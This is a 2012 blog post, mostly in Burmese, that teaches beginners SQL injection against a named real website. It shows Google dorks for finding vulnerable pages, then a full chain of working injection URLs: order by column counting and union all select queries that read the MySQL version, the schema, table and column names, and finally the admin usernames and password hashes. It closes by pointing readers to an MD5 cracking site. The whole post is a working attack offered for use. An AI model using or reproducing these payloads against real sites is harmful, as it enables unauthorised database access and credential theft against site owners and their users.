Monday, September 17, 2012

Cyberoot Sql Injection Basic Tutorial for noobs :)

 အမွတ္စဥ္ ၁ . ဟက္လို႔ရနိုင္ေသာဆိုက္မ်ားအားရွာေဖြျခင္း

 အမွတ္စဥ္ ၂ .columns ဘယ္ေလာက္ရွိတယ္ဆိုတာရွာေဖြျခင္း

 အမွတ္စဥ္ ၃ . mysql version ကိုရေအာင္ရွာျခင္း

 အမွတ္စဥ္ ၄ .Tables name ကိုရွာျခင္း

 အမွတ္စဥ္ ၅ .Columns name ေတြကိုထပ္ရွာေဖြျခင္း

 အမွတ္စဥ္ ၆ .Username & Password ကိုရွာေဖြျခင္း

ဟီး အမွတ္စဥ္ေတြနဲ႔ဆိုေတာ႔ ငယ္ငယ္တုန္းက ၾကက္ေျခနီတက္တာေလးေတြကိုသတိရမိတယ္

 ကဲ႔ အမွတ္စဥ္ မွတ္မယ္

 အမွတ္စဥ္ ၁  ရွိ ဆိုက္ဘာရု

 ၁.ဟက္လို႔ရနိုင္ေသာဆိုက္မ်ားအားရွာေဖြျခင္း

   error ေတြျဖစ္ေနတဲ႔ web page ေတြက sql injection ကိုျဖစ္ေစပါတယ္ ဒီေတာ႔ error တက္ေနတဲ႔  web page ေတြကို

   Google မွာ dork ေတြသံုးျပီးရွာနိုင္ပါတယ္ အမ်ားစုကေတာ႔ ဒါကို sql injection dork လို႔ေခၚပါတယ္

   နမူနာ inurl:index.php?id=

   ကၽြန္ေတာ္ဥထားတဲ႔ sql dork ေလးေတြပါ
   http://pastebin.com/1er8HNKT

Google ကိုဖြင္႔ ျပီးေတာ႔ inurl:index_en.php?id= ဆိုျပီးရိုက္ျပီးရွာၾကည္႔လိုက္ပါ
   ပံုမွာျပထားသလိုေတြ႔ပါလိမ္႔မယ္

 အေပၚဆံုးက http://www.geotunis.org/index_en.php?id=7 ဆိုတဲ႔ link ကိုပဲ႔ေရြးလိုက္မယ္

ဒါက error မရွိတဲ႔ page ပါ

 
ဒီေတာ႔ sql injection ေလးထည္႔ၾကည္႔ရေအာင္ အလုပ္လုပ္ေနပါတယ္
http://www.geotunis.org/index_en.php?id=7'


အမွတ္စဥ္ ၁ ျပီးျပီ
  
 အမွတ္စဥ္ ၂.Columns ဘယ္ေလာက္ရွိတာဆိုတာကိုရွာေဖြျခင္း

    Columns ဘယ္ေလာက္ဆိုတာသိဖို႔ order ဆိုတဲ႔ sql statement ကိုအသံုးျပဳရပါမယ္ ဒီေတာ႔ order by 5--ဆိုျပီး  id ဆိုတဲ႔ 7 ေနာက္မွာရိုက္ထည္႔ၾကည္႔ပါ
    www.geotunis.org/index_en.php?id=7 order by 5--

    ဒီလိုရုိက္ျပီး inject လုပ္တဲ႔ အခါ web page ကပံုမွန္အတိုင္းပဲ႔ ျဖစ္ေနပါေသးတယ္ ဒီေတာ႔ နည္းနည္းေလးထပ္တင္ၾကည္႔ရေအာင္
    www.geotunis.org/index_en.php?id=7 order by 10--

    အဲ error တက္ျပီေဟ႔ ေပ်ာ္စရာၾကီး ဟီး

    ဒါက columns number က 10 ထက္ငယ္ေနတယ္ဆိုတာကိုျပတာပါ ဒါေပမယ္႔ columns အေရအတြက္ကိုအတိက်သိဖို႔ဆက္ျပီးရွာရပါတယ္

     www.geotunis.org/index_en.php?id=7 order by 6-- [no error]

    www.geotunis.org/index_en.php?id=7 order by 7-- [no error]

    www.geotunis.org/index_en.php?id=7 order by 8-- [no error]

    www.geotunis.org/index_en.php?id=7 order by 9-- [error]

    order by 9 မွာ error ျပတယ္ဆိုတာေၾကာင္႔ ကၽြန္ေတာ္တို႔ columns က 8 ခုပဲ႔ရွိတာေသခ်ာသြားပါျပီ
    အခု columns အေရတြက္ကိုသိျပီဆိုေတာ႔ ဘယ္ columns မွာ ဘာေတြယိုေပါက္ရွိေနတယ္ဆိုတာဆက္ရွာပါမယ္

    ဒီလိုရွာဖို႔ အတြက္ ကၽြန္ေတာ္က union all select ဆိုတဲ႔ဟာကိုသံုးမွာပါ

    www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,4,5,6,7,8--
    id ရဲ႕အေရွ႔မွာ - ေလးခံေပးထားပါတယ္ သတိထားပါ တစ္ခ်ိဳ႕ဆိုက္ေတြကမထည္႔လည္းရတယ္ဦးေႏွာက္ေတာ႔နည္းနည္းသံုးေပါ႔

   
    ok ဒါဆိုကၽြန္ေတာ္တို႔ Columns 4 မွာ ေပါက္ေနပါတယ္ ဟီး ေဘာင္းဘီေပါက္တာကိုေျပာတာမဟုတ္ဘူး
   
အမွတ္စဥ္ ၃. mysql version ကိုရွာေဖြျခင္း

    အခုဆိုရင္ ကၽြန္ေတာ္တုိ႔ mysql version ကိုသိဖို႔လိုအပ္လာပါျပီ  ဒီမွာေရးျပထားတာက mysql version 5 အထက္ရွိတဲ႔အတြက္ပါ

    mysql version 5 ေအာက္ငယ္တဲ႔ဆိုက္ဆိုရင္ေတာ႔အျခားနည္းလမ္းေတြကိုအသံုးျပဳမွာျဖစ္ပါတယ္
    ေစာေစာတုန္းက ေပါက္ေနတဲ႔ columns 4 မွာ sql version ကိုထည္႔ၾကည္႔ရေအာင္

    www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,@@version,5,6,7,8--
    4 ဆိုတဲ႔ ေနရာကို @@version ကိုအစားထိုးျပီး inject လုပ္ျပထားတာပါ

   
    ok ဒါဆို version ကိုရျပီ
   
အမွတ္စဥ္ ၄. Database ကိုရွာေဖြျခင္း

အခုဆိုရင္ database name ကိုရွာေဖြဖို႔လိုအပ္ေနပါျပီ လက္ရွိသံုးေနတဲ႔ database name ကဘာလဲဆိုတာ
ဒီေတာ႔ ဆက္လုပ္ရေအာင္

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata--

ေအာက္ကလို႔ database name ေတြထြက္လာျပီ



ဒီေတာ႔ လက္ရွိသံုးေနတဲ႔ database name ကိုထပ္ရွာၾကည္႔မယ္

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,database(),5,6,7,8 from information_schema.schemata--


ေတြ႔ျပန္ျပီဗ်ာ

အမွတ္စဥ္ ၅. Tables name ကိုရွာျခင္း

    union all select ကိုဆက္သံုးျပိးေတာ႔ database ထဲ႔က table ကိုဆက္ရွာပါမယ္

    www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()--
    ေအာက္မွာၾကည္႔ပါ


    admin table က utilisateurs ပဲ႔ထင္ပါတယ္ ဒါကို ေရြးလိုက္ရေအာင္
   
အမွတ္စဥ္ ၆. Columns ရွာေဖြျခင္း

    Columns ကိုလည္းေသေသခ်ာခ်ာသိဖို႔လိုအပ္ပါတယ္

    www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database()--

    ေအာက္ကပံုလို columns ေတြကိုေတြ႔မွာပါ

   
    အမွတ္စဥ္ ၇ . Username & Password ကိုရွာေဖြျခင္း

    www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(login,0x3a,pass,0x3a),5,6,7,8 from utilisateurs--
   
        အခုဆိုရင္ admin name နဲ႔ password ကုိရပါျပီ


        ရထားတဲ႔ password က hash ျဖစ္ေနတာေၾကာင္႔ဒါကိုေျဖဖို႔လိုအပ္ပါတယ္ www.md5hacker.com မွာသြားျပီး decrypt လုပ္ရေအာင္


   
   
    အဆင္ေျပပါေစ
Written by cyberoot
cyberoot.blogspot.com
cyberoot1@gmail.com
Life is too bad for me :( but i like the challenge (^_^)


No comments:

Post a Comment

Thanks for your comments
Welcome from cyberoot